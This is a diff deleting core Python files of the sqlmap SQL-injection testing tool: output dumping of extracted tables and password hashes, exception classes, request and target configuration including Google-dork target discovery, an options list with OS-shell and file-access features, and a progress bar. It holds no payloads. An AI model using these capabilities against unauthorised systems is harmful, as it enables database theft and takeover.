dict.__setattr__(self, item, value)
else:
self.__setitem__(item, value)
-310
View File
@@ -1,310 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
import os
from lib.core.common import dataToDumpFile
from lib.core.common import filePathToString
from lib.core.data import conf
from lib.core.data import logger
class Dump:
"""
This class defines methods used to parse and output the results
of SQL injection actions
"""
def __init__(self):
self.__outputFile = None
self.__outputFP = None
def __write(self, data, n=True, rFile=False):
if n:
print data
self.__outputFP.write("%s\n" % data)
# TODO: do not duplicate queries output in the text file, check
# before if the data is already within the text file content
if rFile and conf.rFile:
rFile = filePathToString(conf.rFile)
rFileFP = open("%s%s%s" % (conf.filePath, os.sep, rFile), "w")
rFileFP.write(data)
rFileFP.close()
else:
print data,
self.__outputFP.write("%s " % data)
self.__outputFP.flush()
conf.loggedToOut = True
def setOutputFile(self):
self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
self.__outputFP = open(self.__outputFile, "a")
def string(self, header, data):
if isinstance(data, (list, tuple, set)):
self.lister(header, data)
return
if data:
data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t")
data = data.replace("__START__", "").replace("__STOP__", "")
data = data.replace("__DEL__", ", ")
if "\n" in data:
self.__write("%s:\n---\n%s---\n" % (header, data), rFile=header)
else:
self.__write("%s: '%s'\n" % (header, data))
else:
self.__write("%s:\tNone\n" % header)
def lister(self, header, elements):
if elements:
self.__write("%s [%d]:" % (header, len(elements)))
try:
elements = set(elements)
elements = list(elements)
elements.sort(key=lambda x: x.lower())
except:
pass
for element in elements:
if isinstance(element, str):
self.__write("[*] %s" % element)
elif isinstance(element, (list, tuple, set)):
self.__write("[*] " + ", ".join(e for e in element))
if elements:
self.__write("")
def userSettings(self, header, userSettings, subHeader):
self.__areAdmins = set()
if userSettings:
self.__write("%s:" % header)
if isinstance(userSettings, (tuple, list, set)):
self.__areAdmins = userSettings[1]
userSettings = userSettings[0]
users = userSettings.keys()
users.sort(key=lambda x: x.lower())
for user in users:
settings = userSettings[user]
if user in self.__areAdmins:
self.__write("[*] %s (administrator) [%d]:" % (user, len(settings)))
else:
self.__write("[*] %s [%d]:" % (user, len(settings)))
settings.sort()
for setting in settings:
self.__write(" %s: %s" % (subHeader, setting))
print
def dbTables(self, dbTables):
maxlength = 0
for tables in dbTables.values():
for table in tables:
maxlength = max(maxlength, len(table))
lines = "-" * (int(maxlength) + 2)
for db, tables in dbTables.items():
tables.sort(key=lambda x: x.lower())
self.__write("Database: %s" % db)
if len(tables) == 1:
self.__write("[1 table]")
else:
self.__write("[%d tables]" % len(tables))
self.__write("+%s+" % lines)
for table in tables:
blank = " " * (maxlength - len(table))
self.__write("| %s%s |" % (table, blank))
self.__write("+%s+\n" % lines)
def dbTableColumns(self, tableColumns):
for db, tables in tableColumns.items():
if not db:
db = "All"
for table, columns in tables.items():
maxlength1 = 0
maxlength2 = 0
colList = columns.keys()
colList.sort(key=lambda x: x.lower())
for column in colList:
colType = columns[column]
maxlength1 = max(maxlength1, len(column))
maxlength2 = max(maxlength2, len(colType))
maxlength1 = max(maxlength1, len("COLUMN"))
maxlength2 = max(maxlength2, len("TYPE"))
lines1 = "-" * (int(maxlength1) + 2)
lines2 = "-" * (int(maxlength2) + 2)
self.__write("Database: %s\nTable: %s" % (db, table))
if len(columns) == 1:
self.__write("[1 column]")
else:
self.__write("[%d columns]" % len(columns))
self.__write("+%s+%s+" % (lines1, lines2))
blank1 = " " * (maxlength1 - len("COLUMN"))
blank2 = " " * (maxlength2 - len("TYPE"))
self.__write("| Column%s | Type%s |" % (blank1, blank2))
self.__write("+%s+%s+" % (lines1, lines2))
for column in colList:
colType = columns[column]
blank1 = " " * (maxlength1 - len(column))
blank2 = " " * (maxlength2 - len(colType))
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
self.__write("+%s+%s+\n" % (lines1, lines2))
def dbTableValues(self, tableValues):
db = tableValues["__infos__"]["db"]
if not db:
db = "All"
table = tableValues["__infos__"]["table"]
if not conf.multipleTargets:
dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db)
if not os.path.isdir(dumpDbPath):
os.makedirs(dumpDbPath, 0755)
dumpFileName = "%s%s%s.csv" % (dumpDbPath, os.sep, table)
dumpFP = open(dumpFileName, "w")
count = int(tableValues["__infos__"]["count"])
separator = ""
field = 1
fields = len(tableValues) - 1
columns = tableValues.keys()
columns.sort(key=lambda x: x.lower())
for column in columns:
if column != "__infos__":
info = tableValues[column]
lines = "-" * (int(info["length"]) + 2)
separator += "+%s" % lines
separator += "+"
self.__write("Database: %s\nTable: %s" % (db, table))
if count == 1:
self.__write("[1 entry]")
else:
self.__write("[%d entries]" % count)
self.__write(separator)
for column in columns:
if column != "__infos__":
info = tableValues[column]
maxlength = int(info["length"])
blank = " " * (maxlength - len(column))
self.__write("| %s%s" % (column, blank), n=False)
if not conf.multipleTargets and field == fields:
dataToDumpFile(dumpFP, "\"%s\"" % column)
else:
dataToDumpFile(dumpFP, "\"%s\"," % column)
field += 1
self.__write("|\n%s" % separator)
if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n")
for i in range(count):
field = 1
for column in columns:
if column != "__infos__":
info = tableValues[column]
value = info["values"][i]
if re.search("^[\ *]*$", value):
value = "NULL"
maxlength = int(info["length"])
blank = " " * (maxlength - len(value))
self.__write("| %s%s" % (value, blank), n=False)
if field == fields:
dataToDumpFile(dumpFP, "\"%s\"" % value)
else:
dataToDumpFile(dumpFP, "\"%s\"," % value)
field += 1
self.__write("|")
if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n")
self.__write("%s\n" % separator)
if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n")
dumpFP.close()
logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
# object to manage how to print the retrieved queries output to
# standard output and sessions file
dumper = Dump()
-119
View File
@@ -1,119 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import sys
from lib.core.settings import VERSION
from lib.core.settings import VERSION_STRING
class sqlmapConnectionException(Exception):
pass
class sqlmapDataException(Exception):
pass
class sqlmapFilePathException(Exception):
pass
class sqlmapGenericException(Exception):
pass
class sqlmapMissingMandatoryOptionException(Exception):
pass
class sqlmapNoneDataException(Exception):
pass
class sqlmapRegExprException(Exception):
pass
class sqlmapSyntaxException(Exception):
pass
class sqlmapUndefinedMethod(Exception):
pass
class sqlmapMissingPrivileges(Exception):
pass
class sqlmapNotVulnerableException(Exception):
pass
class sqlmapThreadException(Exception):
pass
class sqlmapUnsupportedDBMSException(Exception):
pass
class sqlmapUnsupportedFeatureException(Exception):
pass
class sqlmapValueException(Exception):
pass
def unhandledException():
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
errMsg += "the command line and the following text and send by e-mail "
errMsg += "to [email protected]. The developers will "
errMsg += "fix it as soon as possible:\nsqlmap version: %s\n" % VERSION
errMsg += "Python version: %s\n" % sys.version.split()[0]
errMsg += "Operating system: %s" % sys.platform
return errMsg
exceptionsTuple = (
sqlmapConnectionException,
sqlmapDataException,
sqlmapFilePathException,
sqlmapGenericException,
sqlmapMissingMandatoryOptionException,
sqlmapNoneDataException,
sqlmapRegExprException,
sqlmapSyntaxException,
sqlmapUndefinedMethod,
sqlmapMissingPrivileges,
sqlmapNotVulnerableException,
sqlmapThreadException,
sqlmapUnsupportedDBMSException,
sqlmapUnsupportedFeatureException,
sqlmapValueException,
)
-771
View File
@@ -1,771 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import cookielib
import difflib
import logging
import os
import re
import socket
import time
import urllib2
import urlparse
from ConfigParser import ConfigParser
from lib.core.common import parseTargetUrl
from lib.core.common import paths
from lib.core.common import randomRange
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import sanitizeStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.datatype import advancedDict
from lib.core.exception import sqlmapFilePathException
from lib.core.exception import sqlmapGenericException
from lib.core.exception import sqlmapSyntaxException
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.optiondict import optDict
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import SITE
from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import VERSION_STRING
from lib.core.update import update
from lib.parse.configfile import configFileParser
from lib.parse.queriesfile import queriesParser
from lib.request.proxy import ProxyHTTPSHandler
from lib.utils.google import Google
authHandler = urllib2.BaseHandler()
proxyHandler = urllib2.BaseHandler()
def __urllib2Opener():
"""
This function creates the urllib2 OpenerDirector.
"""
global authHandler
global proxyHandler
debugMsg = "creating HTTP requests opener object"
logger.debug(debugMsg)
conf.cj = cookielib.LWPCookieJar()
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
urllib2.install_opener(opener)
def __feedTargetsDict(reqFile, addedTargetUrls):
fp = open(reqFile, "r")
fread = fp.read()
fread = fread.replace("\r", "")
reqResList = fread.split("======================================================")
for request in reqResList:
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
continue
if re.search("^[\n]*(GET|POST).*?\.(gif|jpg|png)\sHTTP\/", request, re.I):
continue
getPostReq = False
url = None
host = None
method = None
data = None
cookie = None
params = False
lines = request.split("\n")
for line in lines:
if len(line) == 0 or line == "\n":
continue
if line.startswith("GET ") or line.startswith("POST "):
if line.startswith("GET "):
index = 4
else:
index = 5
url = line[index:line.index(" HTTP/")]
method = line[:index-1]
if "?" in line and "=" in line:
params = True
getPostReq = True
elif "?" in line and "=" in line and ": " not in line:
data = line
params = True
elif ": " in line:
key, value = line.split(": ", 1)
if key.lower() == "cookie":
cookie = value
elif key.lower() == "host":
host = value
if getPostReq and params:
if not url.startswith("http"):
url = "http://%s%s" % (host, url)
if not kb.targetUrls or url not in addedTargetUrls:
kb.targetUrls.add(( url, method, data, cookie ))
addedTargetUrls.add(url)
def __setMultipleTargets():
"""
Define a configuration parameter if we are running in multiple target
mode.
"""
initialTargetsCount = len(kb.targetUrls)
addedTargetUrls = set()
if not conf.list:
return
debugMsg = "parsing targets list from '%s'" % conf.list
logger.debug(debugMsg)
if not os.path.exists(conf.list):
errMsg = "the specified list of targets does not exist"
raise sqlmapFilePathException, errMsg
if os.path.isfile(conf.list):
__feedTargetsDict(conf.list, addedTargetUrls)
elif os.path.isdir(conf.list):
files = os.listdir(conf.list)
files.sort()
for reqFile in files:
if not re.search("([\d]+)\-request", reqFile):
continue
__feedTargetsDict(os.path.join(conf.list, reqFile), addedTargetUrls)
else:
errMsg = "the specified list of targets is not a file "
errMsg += "nor a directory"
raise sqlmapFilePathException, errMsg
updatedTargetsCount = len(kb.targetUrls)
if updatedTargetsCount > initialTargetsCount:
infoMsg = "sqlmap parsed %d " % (updatedTargetsCount - initialTargetsCount)
infoMsg += "testable requests from the targets list"
logger.info(infoMsg)
def __setGoogleDorking():
"""
This function checks if the way to request testable hosts is through
Google dorking then requests to Google the search parameter, parses
the results and save the testable hosts into the knowledge base.
"""
global proxyHandler
if not conf.googleDork:
return
debugMsg = "initializing Google dorking requests"
logger.debug(debugMsg)
logMsg = "first request to Google to get the session cookie"
logger.info(logMsg)
googleObj = Google(proxyHandler)
googleObj.getCookie()
matches = googleObj.search(conf.googleDork)
if not matches:
errMsg = "unable to find results for your "
errMsg += "Google dork expression"
raise sqlmapGenericException, errMsg
googleObj.getTargetUrls()
if kb.targetUrls:
logMsg = "sqlmap got %d results for your " % len(matches)
logMsg += "Google dork expression, "
if len(matches) == len(kb.targetUrls):
logMsg += "all "
else:
logMsg += "%d " % len(kb.targetUrls)
logMsg += "of them are testable targets"
logger.info(logMsg)
else:
errMsg = "sqlmap got %d results " % len(matches)
errMsg += "for your Google dork expression, but none of them "
errMsg += "have GET parameters to test for SQL injection"
raise sqlmapGenericException, errMsg
def __setUnionTech():
if conf.uTech == None:
conf.uTech = "NULL"
return
uTechOriginal = conf.uTech
conf.uTech = conf.uTech.lower()
if conf.uTech and conf.uTech not in ( "null", "orderby" ):
infoMsg = "resetting the UNION query detection technique to "
infoMsg += "'NULL', '%s' is not a valid technique" % uTechOriginal
logger.info(infoMsg)
conf.uTech = "NULL"
else:
debugMsg = "setting UNION query detection technique to "
debugMsg += "'%s'" % uTechOriginal
logger.debug(debugMsg)
def __setDBMS():
"""
Force the back-end DBMS option.
"""
if not conf.dbms:
return
debugMsg = "forcing back-end DBMS to user defined value"
logger.debug(debugMsg)
conf.dbms = conf.dbms.lower()
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES]))
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
if dbmsRegExp:
conf.dbms = dbmsRegExp.group(1)
kb.dbmsVersion = [dbmsRegExp.group(2)]
if conf.dbms not in SUPPORTED_DBMS:
errMsg = "you provided an unsupported back-end database management "
errMsg += "system. The supported DBMS are MySQL, PostgreSQL, "
errMsg += "Microsoft SQL Server and Oracle. If you do not know "
errMsg += "the back-end DBMS, do not provide it and sqlmap will "
errMsg += "fingerprint it for you."
raise sqlmapUnsupportedDBMSException, errMsg
def __setThreads():
if not isinstance(conf.threads, int) or conf.threads <= 0:
conf.threads = 1
def __setHTTPProxy():
"""
Check and set the HTTP proxy to pass by all HTTP requests.
"""
global proxyHandler
if not conf.proxy:
return
parseTargetUrl()
debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
logger.debug(debugMsg)
__proxySplit = urlparse.urlsplit(conf.proxy)
__hostnamePort = __proxySplit[1].split(":")
__scheme = __proxySplit[0]
__hostname = __hostnamePort[0]
__port = None
if len(__hostnamePort) == 2:
__port = int(__hostnamePort[1])
if not __scheme or not __hostname or not __port:
errMsg = "proxy value must be in format 'http://url:port'"
raise sqlmapSyntaxException, errMsg
__proxyString = "%s:%d" % (__hostname, __port)
# Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2:
# HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests
# can't be tunneled over an HTTP proxy natively by Python urllib2
# standard library
if conf.scheme == "https":
proxyHandler = ProxyHTTPSHandler(__proxyString)
else:
proxyHandler = urllib2.ProxyHandler({"http": __proxyString})
def __setHTTPAuthentication():
"""
Check and set the HTTP authentication method (Basic or Digest),
username and password to perform HTTP requests with.
"""
global authHandler
if not conf.aType and not conf.aCred:
return
elif conf.aType and not conf.aCred:
errMsg = "you specified the HTTP Authentication type, but "
errMsg += "did not provide the credentials"
raise sqlmapSyntaxException, errMsg
elif not conf.aType and conf.aCred:
errMsg = "you specified the HTTP Authentication credentials, "
errMsg += "but did not provide the type"
raise sqlmapSyntaxException, errMsg
parseTargetUrl()
debugMsg = "setting the HTTP Authentication type and credentials"
logger.debug(debugMsg)
aTypeLower = conf.aType.lower()
if aTypeLower not in ( "basic", "digest" ):
errMsg = "HTTP Authentication type value must be "
errMsg += "Basic or Digest"
raise sqlmapSyntaxException, errMsg
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
if not aCredRegExp:
errMsg = "HTTP Authentication credentials value must be "
errMsg += "in format username:password"
raise sqlmapSyntaxException, errMsg
authUsername = aCredRegExp.group(1)
authPassword = aCredRegExp.group(2)
passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), authUsername, authPassword)
if aTypeLower == "basic":
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
elif aTypeLower == "digest":
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
def __setHTTPMethod():
"""
Check and set the HTTP method to perform HTTP requests through.
"""
if conf.method:
conf.method = conf.method.upper()
if conf.method not in ("GET", "POST"):
warnMsg = "'%s' " % conf.method
warnMsg += "is an unsupported HTTP method, "
warnMsg += "setting to default method, GET"
logger.warn(warnMsg)
conf.method = "GET"
else:
conf.method = "GET"
debugMsg = "setting the HTTP method to %s" % conf.method
logger.debug(debugMsg)
def __setHTTPExtraHeaders():
if conf.headers:
debugMsg = "setting extra HTTP headers"
logger.debug(debugMsg)
conf.headers = conf.headers.split("\n")
for headerValue in conf.headers:
header, value = headerValue.split(": ")
if header and value:
conf.httpHeaders.append((header, value))
else:
conf.httpHeaders.append(("Accept", "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"))
conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
def __defaultHTTPUserAgent():
"""
@return: default sqlmap HTTP User-Agent header
@rtype: C{str}
"""
return "%s (%s)" % (VERSION_STRING, SITE)
def __setHTTPUserAgent():
"""
Set the HTTP User-Agent header.
Depending on the user options it can be:
* The default sqlmap string
* A default value read as user option
* A random value read from a list of User-Agent headers from a
file choosed as user option
"""
if conf.agent:
debugMsg = "setting the HTTP User-Agent header"
logger.debug(debugMsg)
conf.httpHeaders.append(("User-Agent", conf.agent))
return
if not conf.userAgentsFile:
conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent()))
return
debugMsg = "fetching random HTTP User-Agent header from "
debugMsg += "file '%s'" % conf.userAgentsFile
logger.debug(debugMsg)
try:
fd = open(conf.userAgentsFile, "r")
except IOError:
warnMsg = "unable to read HTTP User-Agent header "
warnMsg += "file '%s'" % conf.userAgentsFile
logger.warn(warnMsg)
conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent()))
return
__count = 0
__userAgents = []
while True:
line = fd.readline()
if not line:
break
__userAgents.append(line)
__count += 1
fd.close()
if __count == 1:
__userAgent = __userAgents[0]
else:
__userAgent = __userAgents[randomRange(stop=__count)]
__userAgent = sanitizeStr(__userAgent)
conf.httpHeaders.append(("User-Agent", __userAgent))
logMsg = "fetched random HTTP User-Agent header from "
logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent)
logger.info(logMsg)
def __setHTTPReferer():
"""
Set the HTTP Referer
"""
if conf.referer:
debugMsg = "setting the HTTP Referer header"
logger.debug(debugMsg)
conf.httpHeaders.append(("Referer", conf.referer))
def __setHTTPCookies():
"""
Set the HTTP Cookie header
"""
if conf.cookie:
debugMsg = "setting the HTTP Cookie header"
logger.debug(debugMsg)
conf.httpHeaders.append(("Connection", "Keep-Alive"))
conf.httpHeaders.append(("Cookie", conf.cookie))
def __setHTTPTimeout():
"""
Set the HTTP timeout
"""
if conf.timeout:
debugMsg = "setting the HTTP timeout"
logger.debug(debugMsg)
conf.timeout = float(conf.timeout)
if conf.timeout < 3.0:
warnMsg = "the minimum HTTP timeout is 3 seconds, sqlmap "
warnMsg += "will going to reset it"
logger.warn(warnMsg)
conf.timeout = 3.0
else:
conf.timeout = 30.0
socket.setdefaulttimeout(conf.timeout)
def __cleanupOptions():
"""
Cleanup configuration attributes.
"""
debugMsg = "cleaning up configuration parameters"
logger.debug(debugMsg)
if conf.testParameter:
conf.testParameter = conf.testParameter.replace(" ", "")
conf.testParameter = conf.testParameter.split(",")
else:
conf.testParameter = []
if conf.db:
conf.db = conf.db.replace(" ", "")
if conf.tbl:
conf.tbl = conf.tbl.replace(" ", "")
if conf.col:
conf.col = conf.col.replace(" ", "")
if conf.user:
conf.user = conf.user.replace(" ", "")
if conf.delay:
conf.delay = float(conf.delay)
if conf.googleDork or conf.list:
conf.multipleTargets = True
def __setConfAttributes():
"""
This function set some needed attributes into the configuration
singleton.
"""
debugMsg = "initializing the configuration"
logger.debug(debugMsg)
conf.cj = None
conf.dbmsHandler = None
conf.dumpPath = None
conf.httpHeaders = []
conf.hostname = None
conf.loggedToOut = None
conf.multipleTargets = False
conf.outputPath = None
conf.paramDict = {}
conf.parameters = {}
conf.paramNegative = False
conf.path = None
conf.port = None
conf.retries = 0
conf.scheme = None
#conf.seqMatcher = difflib.SequenceMatcher(lambda x: x in " \t")
conf.seqMatcher = difflib.SequenceMatcher(None)
conf.sessionFP = None
conf.start = True
conf.threadException = False
def __setKnowledgeBaseAttributes():
"""
This function set some needed attributes into the knowledge base
singleton.
"""
debugMsg = "initializing the knowledge base"
logger.debug(debugMsg)
kb.absFilePaths = set()
kb.docRoot = None
kb.dbms = None
kb.dbmsDetected = False
kb.dbmsVersion = None
kb.bannerFp = {}
kb.headersCount = 0
kb.headersFp = {}
kb.htmlFp = []
kb.injParameter = None
kb.injPlace = None
kb.injType = None
kb.parenthesis = None
kb.resumedQueries = {}
kb.stackedTest = None
kb.targetUrls = set()
kb.timeTest = None
kb.unionComment = ""
kb.unionCount = None
kb.unionPosition = None
def __saveCmdline():
"""
Saves the command line options on a sqlmap configuration INI file
format.
"""
if not conf.saveCmdline:
return
debugMsg = "saving command line options on a sqlmap configuration INI file"
logger.debug(debugMsg)
config = ConfigParser()
userOpts = {}
for family in optDict.keys():
userOpts[family] = []
for option, value in conf.items():
for family, optionData in optDict.items():
if option in optionData:
userOpts[family].append((option, value, optionData[option]))
for family, optionData in userOpts.items():
config.add_section(family)
optionData.sort()
for option, value, datatype in optionData:
if value == None:
if datatype == "boolean":
value = "False"
elif datatype in ( "integer", "float" ):
if option in ( "threads", "verbose" ):
value = "1"
elif option == "timeout":
value = "10"
else:
value = "0"
elif datatype == "string":
value = ""
if isinstance(value, str):
value = value.replace("\n", "\n ")
config.set(family, option, value)
confFP = open(paths.SQLMAP_CONFIG, "wb")
config.write(confFP)
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
logger.info(infoMsg)
def __setVerbosity():
"""
This function set the verbosity of sqlmap output messages.
"""
if conf.verbose == None:
conf.verbose = 1
conf.verbose = int(conf.verbose)
if conf.verbose == 1:
logger.setLevel(logging.INFO)
elif conf.verbose > 1 and conf.eta:
conf.verbose = 1
logger.setLevel(logging.INFO)
elif conf.verbose == 2:
logger.setLevel(logging.DEBUG)
elif conf.verbose == 3:
logger.setLevel(9)
elif conf.verbose >= 4:
logger.setLevel(8)
def __mergeOptions(inputOptions):
"""
Merge command line options with configuration file options.
@param inputOptions: optparse object with command line options.
@type inputOptions: C{instance}
"""
if inputOptions.configFile:
configFileParser(inputOptions.configFile)
for key, value in inputOptions.__dict__.items():
if not conf.has_key(key) or conf[key] == None or value != None:
conf[key] = value
def init(inputOptions=advancedDict()):
"""
Set attributes into both configuration and knowledge base singletons
based upon command line and configuration file options.
"""
__mergeOptions(inputOptions)
__setVerbosity()
__saveCmdline()
__setConfAttributes()
__setKnowledgeBaseAttributes()
__cleanupOptions()
__setHTTPTimeout()
__setHTTPCookies()
__setHTTPReferer()
__setHTTPUserAgent()
__setHTTPExtraHeaders()
__setHTTPMethod()
__setHTTPAuthentication()
__setHTTPProxy()
__setThreads()
__setDBMS()
__setUnionTech()
__setGoogleDorking()
__setMultipleTargets()
__urllib2Opener()
update()
queriesParser()
-114
View File
@@ -1,114 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
optDict = {
# Family: { "parameter_name": "parameter_datatype" },
"Target": {
"url": "string",
"list": "string",
"googleDork": "string",
},
"Request": {
"method": "string",
"data": "string",
"cookie": "string",
"referer": "string",
"agent": "string",
"userAgentsFile": "string",
"headers": "string",
"aType": "string",
"aCred": "string",
"proxy": "string",
"threads": "integer",
"delay": "float",
"timeout": "float",
},
"Injection": {
"testParameter": "string",
"dbms": "string",
"prefix": "string",
"postfix": "string",
"string": "string",
"regexp": "string",
"eString": "string",
"eRegexp": "string",
},
"Techniques": {
"stackedTest": "boolean",
"timeTest": "boolean",
"unionTest": "boolean",
"uTech": "string",
"unionUse": "boolean",
},
"Fingerprint": {
"extensiveFp": "boolean",
},
"Enumeration": {
"getBanner": "boolean",
"getCurrentUser": "boolean",
"getCurrentDb": "boolean",
"isDba": "boolean",
"getUsers": "boolean",
"getPasswordHashes": "boolean",
"getPrivileges": "boolean",
"getDbs": "boolean",
"getTables": "boolean",
"getColumns": "boolean",
"dumpTable": "boolean",
"dumpAll": "boolean",
"user": "string",
"db": "string",
"tbl": "string",
"col": "string",
"excludeSysDbs": "boolean",
"limitStart": "integer",
"limitStop": "integer",
"query": "string",
"sqlShell": "boolean",
},
"File system": {
"rFile": "string",
"wFile": "string",
},
"Takeover": {
"osShell": "boolean",
},
"Miscellaneous": {
"eta": "boolean",
"verbose": "integer",
"updateAll": "boolean",
"sessionFile": "string",
"batch": "boolean",
},
}
-111
View File
@@ -1,111 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.common import dataToStdout
class ProgressBar:
"""
This class defines methods to update and draw a progress bar
"""
def __init__(self, minValue=0, maxValue=10, totalWidth=54):
self.__progBar = "[]"
self.__oldProgBar = ""
self.__min = int(minValue)
self.__max = int(maxValue)
self.__span = self.__max - self.__min
self.__width = totalWidth
self.__amount = 0
self.update()
def __convertSeconds(self, value):
seconds = value
minutes = seconds / 60
seconds = seconds - (minutes * 60)
return "%.2d:%.2d" % (minutes, seconds)
def update(self, newAmount=0):
"""
This method updates the progress bar
"""
if newAmount < self.__min:
newAmount = self.__min
elif newAmount > self.__max:
newAmount = self.__max
self.__amount = newAmount
# Figure out the new percent done, round to an integer
diffFromMin = float(self.__amount - self.__min)
percentDone = (diffFromMin / float(self.__span)) * 100.0
percentDone = round(percentDone)
percentDone = int(percentDone)
# Figure out how many hash bars the percentage should be
allFull = self.__width - 2
numHashes = (percentDone / 100.0) * allFull
numHashes = int(round(numHashes))
# Build a progress bar with an arrow of equal signs
if numHashes == 0:
self.__progBar = "[>%s]" % (" " * (allFull - 1))
elif numHashes == allFull:
self.__progBar = "[%s]" % ("=" * allFull)
else:
self.__progBar = "[%s>%s]" % ("=" * (numHashes - 1),
" " * (allFull - numHashes))
# Add the percentage at the beginning of the progress bar
percentString = str(percentDone) + "%"
self.__progBar = "%s %s" % (percentString, self.__progBar)
def draw(self, eta=0):
"""
This method draws the progress bar if it has changed
"""
if self.__progBar != self.__oldProgBar:
self.__oldProgBar = self.__progBar
if eta and self.__amount < self.__max:
dataToStdout("\r%s %d/%d ETA %s" % (self.__progBar, self.__amount, self.__max, self.__convertSeconds(int(eta))))
else:
blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max)))
dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank))
def __str__(self):
"""
This method returns the progress bar string
"""
return str(self.__progBar)
-94
View File
@@ -1,94 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
